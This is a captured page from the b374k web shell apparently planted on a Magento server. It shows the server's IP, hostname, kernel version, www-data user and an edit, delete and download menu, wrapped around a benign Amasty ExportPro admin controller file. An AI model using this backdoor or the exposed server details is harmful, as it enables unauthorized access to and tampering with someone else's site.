b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / dev2.destoffenstraat.com / app / code / Amasty / ExportPro / Controller / Adminhtml / ExportJob /
Filename/home/dev2.destoffenstraat.com/app/code/Amasty/ExportPro/Controller/Adminhtml/ExportJob/Edit.php
Size1.66 kb
Permissionrw-r--r--
Ownerroot : root
Create time17-Aug-2025 10:26
Last modified14-Jun-2025 23:41
Last accessed22-Aug-2025 21:44
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* @author Amasty Team
* @copyright Copyright (c) Amasty (https://www.amasty.com)
* @package Export Pro for Magento 2 (System)
*/

namespace Amasty\ExportPro\Controller\Adminhtml\ExportJob;

use Amasty\ExportPro\Api\CronJobRepositoryInterface;
use Amasty\ExportPro\Model\Job\Job;
use Magento\Backend\App\Action;
use Magento\Framework\Controller\ResultFactory;

class Edit extends Action
{
public const ADMIN_RESOURCE = 'Amasty_ExportPro::export_job_edit';

/**
* @var CronJobRepositoryInterface
*/
private $repository;

public function __construct(
CronJobRepositoryInterface $repository,
Action\Context $context
) {
parent::__construct($context);
$this->repository = $repository;
}

/**
* @inheritdoc
*/
public function execute()
{
/** @var \Magento\Backend\Model\View\Result\Page $resultPage */
$resultPage = $this->resultFactory->create(ResultFactory::TYPE_PAGE);
$resultPage->setActiveMenu('Amasty_ExportPro::exportcron');

if ($jobId = (int)$this->getRequest()->getParam(Job::JOB_ID)) {
try {
$this->repository->getById($jobId);
$resultPage->getConfig()->getTitle()->prepend(__('Edit Job'));
} catch (\Magento\Framework\Exception\NoSuchEntityException $exception) {
$this->messageManager->addErrorMessage(__('This job no longer exists.'));

return $this->resultRedirectFactory->create()->setPath('*/*/index');
}
} else {
$resultPage->getConfig()->getTitle()->prepend(__('New Export Job'));
}

return $resultPage;
}
}